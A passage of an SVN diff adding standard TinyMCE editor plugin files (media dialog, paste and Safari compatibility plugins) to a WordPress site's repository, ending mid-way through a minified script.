+										<td><label for="rmp_autogotourl">{#media_dlg.autogotourl}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_center" name="rmp_center" onchange="generatePreview();" /></td>
+										<td><label for="rmp_center">{#media_dlg.center}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_imagestatus" name="rmp_imagestatus" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="rmp_imagestatus">{#media_dlg.imagestatus}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_maintainaspect" name="rmp_maintainaspect" onchange="generatePreview();" /></td>
+										<td><label for="rmp_maintainaspect">{#media_dlg.maintainaspect}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_nojava" name="rmp_nojava" onchange="generatePreview();" /></td>
+										<td><label for="rmp_nojava">{#media_dlg.nojava}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_prefetch" name="rmp_prefetch" onchange="generatePreview();" /></td>
+										<td><label for="rmp_prefetch">{#media_dlg.prefetch}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_shuffle" name="rmp_shuffle" onchange="generatePreview();" /></td>
+										<td><label for="rmp_shuffle">{#media_dlg.shuffle}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								&nbsp;
+							</td>
+						</tr>
+
+						<tr>
+							<td><label for="rmp_console">{#media_dlg.console}</label></td>
+							<td><input type="text" id="rmp_console" name="rmp_console" onchange="generatePreview();" /></td>
+
+							<td><label for="rmp_controls">{#media_dlg.controls}</label></td>
+							<td><input type="text" id="rmp_controls" name="rmp_controls" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="rmp_numloop">{#media_dlg.numloop}</label></td>
+							<td><input type="text" id="rmp_numloop" name="rmp_numloop" onchange="generatePreview();" /></td>
+
+							<td><label for="rmp_scriptcallbacks">{#media_dlg.scriptcallbacks}</label></td>
+							<td><input type="text" id="rmp_scriptcallbacks" name="rmp_scriptcallbacks" onchange="generatePreview();" /></td>
+						</tr>
+					</table>
+				</fieldset>
+
+				<fieldset id="shockwave_options">
+					<legend>{#media_dlg.shockwave_options}</legend>
+
+					<table border="0" cellpadding="4" cellspacing="0">
+						<tr>
+							<td><label for="shockwave_swstretchstyle">{#media_dlg.swstretchstyle}</label></td>
+							<td>
+								<select id="shockwave_swstretchstyle" name="shockwave_swstretchstyle" onchange="generatePreview();">
+									<option value="none">{#not_set}</option>
+									<option value="meet">Meet</option>
+									<option value="fill">Fill</option>
+									<option value="stage">Stage</option>
+								</select>
+							</td>
+
+							<td><label for="shockwave_swvolume">{#media_dlg.volume}</label></td>
+							<td><input type="text" id="shockwave_swvolume" name="shockwave_swvolume" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="shockwave_swstretchhalign">{#media_dlg.swstretchhalign}</label></td>
+							<td>
+								<select id="shockwave_swstretchhalign" name="shockwave_swstretchhalign" onchange="generatePreview();">
+									<option value="none">{#not_set}</option>
+									<option value="left">{#media_dlg.align_left}</option>
+									<option value="center">{#media_dlg.align_center}</option>
+									<option value="right">{#media_dlg.align_right}</option>
+								</select>
+							</td>
+
+							<td><label for="shockwave_swstretchvalign">{#media_dlg.swstretchvalign}</label></td>
+							<td>
+								<select id="shockwave_swstretchvalign" name="shockwave_swstretchvalign" onchange="generatePreview();">
+									<option value="none">{#not_set}</option>
+									<option value="meet">Meet</option>
+									<option value="fill">Fill</option>
+									<option value="stage">Stage</option>
+								</select>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="shockwave_autostart" name="shockwave_autostart" onchange="generatePreview();" checked="checked" /></td>
+										<td><label for="shockwave_autostart">{#media_dlg.autostart}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="shockwave_sound" name="shockwave_sound" onchange="generatePreview();" checked="checked" /></td>
+										<td><label for="shockwave_sound">{#media_dlg.sound}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="shockwave_swliveconnect" name="shockwave_swliveconnect" onchange="generatePreview();" /></td>
+										<td><label for="shockwave_swliveconnect">{#media_dlg.liveconnect}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="shockwave_progress" name="shockwave_progress" onchange="generatePreview();" checked="checked" /></td>
+										<td><label for="shockwave_progress">{#media_dlg.progress}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+					</table>
+				</fieldset>
+			</div>
+		</div>
+
+		<div class="mceActionPanel">
+			<div style="float: left">
+				<input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" />
+			</div>
+
+			<div style="float: right">
+				<input type="submit" id="insert" name="insert" value="{#insert}" />
+			</div>
+		</div>
+	</form>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/blank.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/blank.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/blank.htm	(revision 44)
@@ -0,0 +1,21 @@
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>blank_page</title>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<link href="css/blank.css?ver=3223_1087" rel="stylesheet" type="text/css" />
+<script type="text/javascript">
+function init() {
+	if (parent.tinymce.isIE)
+		document.body.contentEditable = true;
+	else
+		document.designMode = 'on';
+
+	parent.initIframe(document);
+	window.focus();
+}
+</script>
+</head>
+<body onload="init();">
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/css/blank.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/css/blank.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/css/blank.css	(revision 44)
@@ -0,0 +1,14 @@
+html, body {height:98%}
+body {
+background-color: #FFFFFF;
+font-family: Verdana, Arial, Helvetica, sans-serif;
+font-size: 10px;
+scrollbar-3dlight-color: #F0F0EE;
+scrollbar-arrow-color: #676662;
+scrollbar-base-color: #F0F0EE;
+scrollbar-darkshadow-color: #DDDDDD;
+scrollbar-face-color: #E0E0DD;
+scrollbar-highlight-color: #F0F0EE;
+scrollbar-shadow-color: #F0F0EE;
+scrollbar-track-color: #F5F5F5;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/css/pasteword.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/css/pasteword.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/css/pasteword.css	(revision 44)
@@ -0,0 +1,3 @@
+.sourceIframe {
+	border: 1px solid #808080;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.PastePlugin",{init:function(c,d){var e=this,b;e.editor=c;e.url=d;e.onPreProcess=new tinymce.util.Dispatcher(e);e.onPostProcess=new tinymce.util.Dispatcher(e);e.onPreProcess.add(e._preProcess);e.onPostProcess.add(e._postProcess);e.onPreProcess.add(function(h,i){c.execCallback("paste_preprocess",h,i)});e.onPostProcess.add(function(h,i){c.execCallback("paste_postprocess",h,i)});function g(i){var k=c.dom,j={content:i};e.onPreProcess.dispatch(e,j);j.node=k.create("div",0,j.content);e.onPostProcess.dispatch(e,j);j.content=c.serializer.serialize(j.node,{getInner:1});if(/<(p|h[1-6]|ul|ol)/.test(j.content)){e._insertBlockContent(c,k,j.content)}else{e._insert(j.content)}}c.addCommand("mceInsertClipboardContent",function(i,h){g(h)});function f(l){var p,k,i,j=c.selection,o=c.dom,h=c.getBody(),m;if(o.get("_mcePaste")){return}p=o.add(h,"div",{id:"_mcePaste"},"&nbsp;");if(h!=c.getDoc().body){m=o.getPos(c.selection.getStart(),h).y}else{m=h.scrollTop}o.setStyles(p,{position:"absolute",left:-10000,top:m,width:1,height:1,overflow:"hidden"});if(tinymce.isIE){i=o.doc.body.createTextRange();i.moveToElementText(p);i.execCommand("Paste");o.remove(p);g(p.innerHTML);return tinymce.dom.Event.cancel(l)}else{k=c.selection.getRng();p=p.firstChild;i=c.getDoc().createRange();i.setStart(p,0);i.setEnd(p,1);j.setRng(i);window.setTimeout(function(){var r=o.get("_mcePaste"),q;r.id="_mceRemoved";o.remove(r);r=o.get("_mcePaste")||r;q=(o.select("> span.Apple-style-span div",r)[0]||o.select("> span.Apple-style-span",r)[0]||r).innerHTML;o.remove(r);if(k){j.setRng(k)}g(q)},0)}}if(c.getParam("paste_auto_cleanup_on_paste",true)){if(tinymce.isOpera||/Firefox\/2/.test(navigator.userAgent)){c.onKeyDown.add(function(h,i){if(((tinymce.isMac?i.metaKey:i.ctrlKey)&&i.keyCode==86)||(i.shiftKey&&i.keyCode==45)){f(i)}})}else{c.onPaste.addToTop(function(h,i){return f(i)})}}if(c.getParam("paste_block_drop")){c.onInit.add(function(){c.dom.bind(c.getBody(),["dragend","dragover","draggesture","dragdrop","drop","drag"],function(h){h.preventDefault();h.stopPropagation();return false})})}e._legacySupport()},getInfo:function(){return{longname:"Paste text/word",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_preProcess:function(d,g){var b=this.editor,c=g.content,f,e;function f(h){a(h,function(i){if(i.constructor==RegExp){c=c.replace(i,"")}else{c=c.replace(i[0],i[1])}})}f([/^\s*(&nbsp;)+/g,/(&nbsp;|<br[^>]*>)+\s*$/g]);if(/(class=\"?Mso|style=\"[^\"]*\bmso\-|w:WordDocument)/.test(c)){g.wordContent=true;if(b.getParam("paste_convert_middot_lists",true)){f([[/<!--\[if !supportLists\]-->/gi,"$&__MCE_ITEM__"],[/(<span[^>]+:\s*symbol[^>]+>)/gi,"$1__MCE_ITEM__"],[/(<span[^>]+mso-list:[^>]+>)/gi,"$1__MCE_ITEM__"]])}f([/<!--[\s\S]+?-->/gi,/<\/?(img|font|meta|link|style|div|v:\w+)[^>]*>/gi,/<\\?\?xml[^>]*>/gi,/<\/?o:[^>]*>/gi,/ (id|name|language|type|on\w+|v:\w+)=\"([^\"]*)\"/gi,/ (id|name|language|type|on\w+|v:\w+)=(\w+)/gi,[/<(\/?)s>/gi,"<$1strike>"],/<script[^>]+>[\s\S]*?<\/script>/gi,[/&nbsp;/g,"\u00a0"]]);if(!b.getParam("paste_retain_style_properties")){f([/<\/?(span)[^>]*>/gi])}}e=b.getParam("paste_strip_class_attributes","all");if(e!="none"){if(e=="all"){f([/ class=\"([^\"]*)\"/gi,/ class=(\w+)/gi])}else{f([/ class=\"(mso[^\"]*)\"/gi,/ class=(mso\w+)/gi])}}if(b.getParam("paste_remove_spans")){f([/<\/?(span)[^>]*>/gi])}g.content=c},_postProcess:function(e,g){var d=this,c=d.editor,f=c.dom,b;if(g.wordContent){a(f.select("a",g.node),function(h){if(!h.href||h.href.indexOf("#_Toc")!=-1){f.remove(h,1)}});if(d.editor.getParam("paste_convert_middot_lists",true)){d._convertLists(e,g)}b=c.getParam("paste_retain_style_properties");if(tinymce.is(b,"string")){b=tinymce.explode(b)}a(f.select("*",g.node),function(l){var m={},j=0,k,n,h;if(b){for(k=0;k<b.length;k++){n=b[k];h=f.getStyle(l,n);if(h){m[n]=h;j++}}}f.setAttrib(l,"style","");if(b&&j>0){f.setStyles(l,m)}else{if(l.nodeName=="SPAN"&&!l.className){f.remove(l,true)}}})}if(c.getParam("paste_remove_styles")||(c.getParam("paste_remove_styles_if_webkit")&&tinymce.isWebKit)){a(f.select("*[style]",g.node),function(h){h.removeAttribute("style");h.removeAttribute("mce_style")})}else{if(tinymce.isWebKit){a(f.select("*",g.node),function(h){h.removeAttribute("mce_style")})}}},_convertLists:function(e,c){var g=e.editor.dom,f,j,b=-1,d,k=[],i,h;a(g.select("p",c.node),function(r){var n,s="",q,o,l,m;for(n=r.firstChild;n&&n.nodeType==3;n=n.nextSibling){s+=n.nodeValue}s=r.innerHTML.replace(/<\/?\w+[^>]*>/gi,"").replace(/&nbsp;/g,"\u00a0");if(/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o]\s*\u00a0*/.test(s)){q="ul"}if(/^__MCE_ITEM__\s*\w+\.\s*\u00a0{2,}/.test(s)){q="ol"}if(q){d=parseFloat(r.style.marginLeft||0);if(d>b){k.push(d)}if(!f||q!=i){f=g.create(q);g.insertAfter(f,r)}else{if(d>b){f=j.appendChild(g.create(q))}else{if(d<b){l=tinymce.inArray(k,d);m=g.getParents(f.parentNode,q);f=m[m.length-1-l]||f}}}a(g.select("span",r),function(t){var p=t.innerHTML.replace(/<\/?\w+[^>]*>/gi,"");if(q=="ul"&&/^[\u2022\u00b7\u00a7\u00d8o]/.test(p)){g.remove(t)}else{if(/^[\s\S]*\w+\.(&nbsp;|\u00a0)*\s*/.test(p)){g.remove(t)}}});o=r.innerHTML;if(q=="ul"){o=r.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^[\u2022\u00b7\u00a7\u00d8o]\s*(&nbsp;|\u00a0)+\s*/,"")}else{o=r.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^\s*\w+\.(&nbsp;|\u00a0)+\s*/,"")}j=f.appendChild(g.create("li",0,o));g.remove(r);b=d;i=q}else{f=b=0}});h=c.node.innerHTML;if(h.indexOf("__MCE_ITEM__")!=-1){c.node.innerHTML=h.replace(/__MCE_ITEM__/g,"")}},_insertBlockContent:function(h,e,i){var c,g,d=h.selection,m,j,b,k,f;function l(p){var o;if(tinymce.isIE){o=h.getDoc().body.createTextRange();o.moveToElementText(p);o.collapse(false);o.select()}else{d.select(p,1);d.collapse(false)}}this._insert('<span id="_marker">&nbsp;</span>',1);g=e.get("_marker");c=e.getParent(g,"p,h1,h2,h3,h4,h5,h6,ul,ol");if(c){g=e.split(c,g);a(e.create("div",0,i).childNodes,function(o){m=g.parentNode.insertBefore(o.cloneNode(true),g)});l(m)}else{e.setOuterHTML(g,i);d.select(h.getBody(),1);d.collapse(0)}e.remove("_marker");j=d.getStart();b=e.getViewPort(h.getWin());k=h.dom.getPos(j).y;f=j.clientHeight;if(k<b.y||k+f>b.y+b.h){h.getDoc().body.scrollTop=k<b.y?k:k-b.h+25}},_insert:function(d,b){var c=this.editor;if(!c.selection.isCollapsed()){c.getDoc().execCommand("Delete",false,null)}c.execCommand(tinymce.isGecko?"insertHTML":"mceInsertContent",false,d,{skip_undo:b})},_legacySupport:function(){var c=this,b=c.editor;a(["mcePasteText","mcePasteWord"],function(d){b.addCommand(d,function(){b.windowManager.open({file:c.url+(d=="mcePasteText"?"/pastetext.htm":"/pasteword.htm"),width:parseInt(b.getParam("paste_dialog_width","450")),height:parseInt(b.getParam("paste_dialog_height","400")),inline:1})})});b.addButton("pastetext",{title:"paste.paste_text_desc",cmd:"mcePasteText"});b.addButton("pasteword",{title:"paste.paste_word_desc",cmd:"mcePasteWord"});b.addButton("selectall",{title:"paste.selectall_desc",cmd:"selectall"})}});tinymce.PluginManager.add("paste",tinymce.plugins.PastePlugin)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/js/pastetext.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/js/pastetext.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/js/pastetext.js	(revision 44)
@@ -0,0 +1,36 @@
+tinyMCEPopup.requireLangPack();
+
+var PasteTextDialog = {
+	init : function() {
+		this.resize();
+	},
+
+	insert : function() {
+		var h = tinyMCEPopup.dom.encode(document.getElementById('content').value), lines;
+
+		// Convert linebreaks into paragraphs
+		if (document.getElementById('linebreaks').checked) {
+			lines = h.split(/\r?\n/);
+			if (lines.length > 1) {
+				h = '';
+				tinymce.each(lines, function(row) {
+					h += '<p>' + row + '</p>';
+				});
+			}
+		}
+
+		tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, h);
+		tinyMCEPopup.close();
+	},
+
+	resize : function() {
+		var vp = tinyMCEPopup.dom.getViewPort(window), el;
+
+		el = document.getElementById('content');
+
+		el.style.width  = (vp.w - 20) + 'px';
+		el.style.height = (vp.h - 90) + 'px';
+	}
+};
+
+tinyMCEPopup.onInit.add(PasteTextDialog.init, PasteTextDialog);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/js/pasteword.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/js/pasteword.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/js/pasteword.js	(revision 44)
@@ -0,0 +1,51 @@
+tinyMCEPopup.requireLangPack();
+
+var PasteWordDialog = {
+	init : function() {
+		var ed = tinyMCEPopup.editor, el = document.getElementById('iframecontainer'), ifr, doc, css, cssHTML = '';
+
+		// Create iframe
+		el.innerHTML = '<iframe id="iframe" src="javascript:\'\';" frameBorder="0" style="border: 1px solid gray"></iframe>';
+		ifr = document.getElementById('iframe');
+		doc = ifr.contentWindow.document;
+
+		// Force absolute CSS urls
+		css = [ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css")];
+		css = css.concat(tinymce.explode(ed.settings.content_css) || []);
+		tinymce.each(css, function(u) {
+			cssHTML += '<link href="' + ed.documentBaseURI.toAbsolute(u) + '" rel="stylesheet" type="text/css" />';
+		});
+
+		// Write content into iframe
+		doc.open();
+		doc.write('<html><head>' + cssHTML + '</head><body class="mceContentBody" spellcheck="false"></body></html>');
+		doc.close();
+
+		doc.designMode = 'on';
+		this.resize();
+
+		window.setTimeout(function() {
+			ifr.contentWindow.focus();
+		}, 10);
+	},
+
+	insert : function() {
+		var h = document.getElementById('iframe').contentWindow.document.body.innerHTML;
+
+		tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, h);
+		tinyMCEPopup.close();
+	},
+
+	resize : function() {
+		var vp = tinyMCEPopup.dom.getViewPort(window), el;
+
+		el = document.getElementById('iframe');
+
+		if (el) {
+			el.style.width  = (vp.w - 20) + 'px';
+			el.style.height = (vp.h - 90) + 'px';
+		}
+	}
+};
+
+tinyMCEPopup.onInit.add(PasteWordDialog.init, PasteWordDialog);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/pastetext.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/pastetext.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/pastetext.htm	(revision 44)
@@ -0,0 +1,33 @@
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>{#paste.paste_text_desc}</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/pastetext.js?ver=3241-1141"></script>
+</head>
+<body onresize="PasteTextDialog.resize();" style="display:none; overflow:hidden;">
+	<form name="source" onsubmit="return PasteTextDialog.insert();" action="#">
+		<div style="float: left" class="title">{#paste.paste_text_desc}</div>
+
+		<div style="float: right">
+			<input type="checkbox" name="linebreaks" id="linebreaks" class="wordWrapCode" checked="checked" /><label for="linebreaks">{#paste_dlg.text_linebreaks}</label>
+		</div>
+
+		<br style="clear: both" />
+
+		<div>{#paste_dlg.text_title}</div>
+
+		<textarea id="content" name="content" rows="15" cols="100" style="width: 100%; height: 100%; font-family: 'Courier New',Courier,mono; font-size: 12px;" dir="ltr" wrap="soft" class="mceFocus"></textarea>
+
+		<div class="mceActionPanel">
+			<div style="float: left">
+				<input type="button" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" id="cancel" />
+			</div>
+
+			<div style="float: right">
+				<input type="submit" name="insert" value="{#insert}" id="insert" />
+			</div>
+		</div>
+	</form>
+</body> 
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/pasteword.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/pasteword.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/paste/pasteword.htm	(revision 44)
@@ -0,0 +1,27 @@
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+	<title>{#paste.paste_word_desc}</title>
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/pasteword.js?ver=3241-1141"></script>
+</head>
+<body onresize="PasteWordDialog.resize();" style="display:none; overflow:hidden;">
+	<form name="source" onsubmit="return PasteWordDialog.insert();" action="#">
+		<div class="title">{#paste.paste_word_desc}</div>
+
+		<div>{#paste_dlg.word_title}</div>
+
+		<div id="iframecontainer"></div>
+
+		<div class="mceActionPanel">
+			<div style="float: left">
+				<input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" />
+			</div>
+
+			<div style="float: right">
+				<input type="submit" id="insert" name="insert" value="{#insert}" />
+			</div>
+		</div>
+	</form>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/safari/blank.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/safari/blank.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/safari/blank.htm	(revision 44)
@@ -0,0 +1,1 @@
+<!-- WebKit -->
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/safari/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/safari/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/safari/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){var a=tinymce.dom.Event,c=tinymce.grep,d=tinymce.each,b=tinymce.inArray;function e(j,i,h){var g,k;g=j.createTreeWalker(i,NodeFilter.SHOW_ALL,null,false);while(k=g.nextNode()){if(h){if(!h(k)){return false}}if(k.nodeType==3&&k.nodeValue&&/[^\s\u00a0]+/.test(k.nodeValue)){return false}if(k.nodeType==1&&/^(HR|IMG|TABLE)$/.test(k.nodeName)){return false}}return true}tinymce.create("tinymce.plugins.Safari",{init:function(f){var g=this,h;if(!tinymce.isWebKit){return}g.editor=f;g.webKitFontSizes=["x-small","small","medium","large","x-large","xx-large","-webkit-xxx-large"];g.namedFontSizes=["xx-small","x-small","small","medium","large","x-large","xx-large"];f.addCommand("CreateLink",function(k,j){var m=f.selection.getNode(),l=f.dom,i;if(m&&(/^(left|right)$/i.test(l.getStyle(m,"float",1))||/^(left|right)$/i.test(l.getAttrib(m,"align")))){i=l.create("a",{href:j},m.cloneNode());m.parentNode.replaceChild(i,m);f.selection.select(i)}else{f.getDoc().execCommand("CreateLink",false,j)}});f.onKeyUp.add(function(j,o){var l,i,m,p,k;if(o.keyCode==46||o.keyCode==8){i=j.getBody();l=i.innerHTML;k=j.selection;if(i.childNodes.length==1&&!/<(img|hr)/.test(l)&&tinymce.trim(l.replace(/<[^>]+>/g,"")).length==0){j.setContent('<p><br mce_bogus="1" /></p>',{format:"raw"});p=i.firstChild;m=k.getRng();m.setStart(p,0);m.setEnd(p,0);k.setRng(m)}}});f.addCommand("FormatBlock",function(j,i){var l=f.dom,k=l.getParent(f.selection.getNode(),l.isBlock);if(k){l.replace(l.create(i),k,1)}else{f.getDoc().execCommand("FormatBlock",false,i)}});f.addCommand("mceInsertContent",function(j,i){f.getDoc().execCommand("InsertText",false,"mce_marker");f.getBody().innerHTML=f.getBody().innerHTML.replace(/mce_marker/g,f.dom.processHTML(i)+'<span id="_mce_tmp">XX</span>');f.selection.select(f.dom.get("_mce_tmp"));f.getDoc().execCommand("Delete",false," ")});f.onKeyPress.add(function(o,p){var q,v,r,l,j,k,i,u,m,t,s;if(p.keyCode==13){i=o.selection;q=i.getNode();if(p.shiftKey||o.settings.force_br_newlines&&q.nodeName!="LI"){g._insertBR(o);a.cancel(p)}if(v=h.getParent(q,"LI")){r=h.getParent(v,"OL,UL");u=o.getDoc();s=h.create("p");h.add(s,"br",{mce_bogus:"1"});if(e(u,v)){if(k=h.getParent(r.parentNode,"LI,OL,UL")){return}k=h.getParent(r,"p,h1,h2,h3,h4,h5,h6,div")||r;l=u.createRange();l.setStartBefore(k);l.setEndBefore(v);j=u.createRange();j.setStartAfter(v);j.setEndAfter(k);m=l.cloneContents();t=j.cloneContents();if(!e(u,t)){h.insertAfter(t,k)}h.insertAfter(s,k);if(!e(u,m)){h.insertAfter(m,k)}h.remove(k);k=s.firstChild;l=u.createRange();l.setStartBefore(k);l.setEndBefore(k);i.setRng(l);return a.cancel(p)}}}});f.onExecCommand.add(function(i,k){var j,m,n,l;if(k=="InsertUnorderedList"||k=="InsertOrderedList"){j=i.selection;m=i.dom;if(n=m.getParent(j.getNode(),function(o){return/^(H[1-6]|P|ADDRESS|PRE)$/.test(o.nodeName)})){l=j.getBookmark();m.remove(n,1);j.moveToBookmark(l)}}});f.onClick.add(function(i,j){j=j.target;if(j.nodeName=="IMG"){g.selElm=j;i.selection.select(j)}else{g.selElm=null}});f.onInit.add(function(){g._fixWebKitSpans()});f.onSetContent.add(function(){h=f.dom;d(["strong","b","em","u","strike","sub","sup","a"],function(i){d(c(h.select(i)).reverse(),function(l){var k=l.nodeName.toLowerCase(),j;if(k=="a"){if(l.name){h.replace(h.create("img",{mce_name:"a",name:l.name,"class":"mceItemAnchor"}),l)}return}switch(k){case"b":case"strong":if(k=="b"){k="strong"}j="font-weight: bold;";break;case"em":j="font-style: italic;";break;case"u":j="text-decoration: underline;";break;case"sub":j="vertical-align: sub;";break;case"sup":j="vertical-align: super;";break;case"strike":j="text-decoration: line-through;";break}h.replace(h.create("span",{mce_name:k,style:j,"class":"Apple-style-span"}),l,1)})})});f.onPreProcess.add(function(i,j){h=i.dom;d(c(j.node.getElementsByTagName("span")).reverse(),function(m){var k,l;if(j.get){if(h.hasClass(m,"Apple-style-span")){l=m.style.backgroundColor;switch(h.getAttrib(m,"mce_name")){case"font":if(!i.settings.convert_fonts_to_spans){h.setAttrib(m,"style","")}break;case"strong":case"em":case"sub":case"sup":h.setAttrib(m,"style","");break;case"strike":case"u":if(!i.settings.inline_styles){h.setAttrib(m,"style","")}else{h.setAttrib(m,"mce_name","")}break;default:if(!i.settings.inline_styles){h.setAttrib(m,"style","")}}if(l){m.style.backgroundColor=l}}}if(h.hasClass(m,"mceItemRemoved")){h.remove(m,1)}})});f.onPostProcess.add(function(i,j){j.content=j.content.replace(/<br \/><\/(h[1-6]|div|p|address|pre)>/g,"</$1>");j.content=j.content.replace(/ id=\"undefined\"/g,"")})},getInfo:function(){return{longname:"Safari compatibility",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/safari",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_fixWebKitSpans:function(){var g=this,f=g.editor;a.add(f.getDoc(),"DOMNodeInserted",function(h){h=h.target;if(h&&h.nodeType==1){g._fixAppleSpan(h)}})},_fixAppleSpan:function(l){var 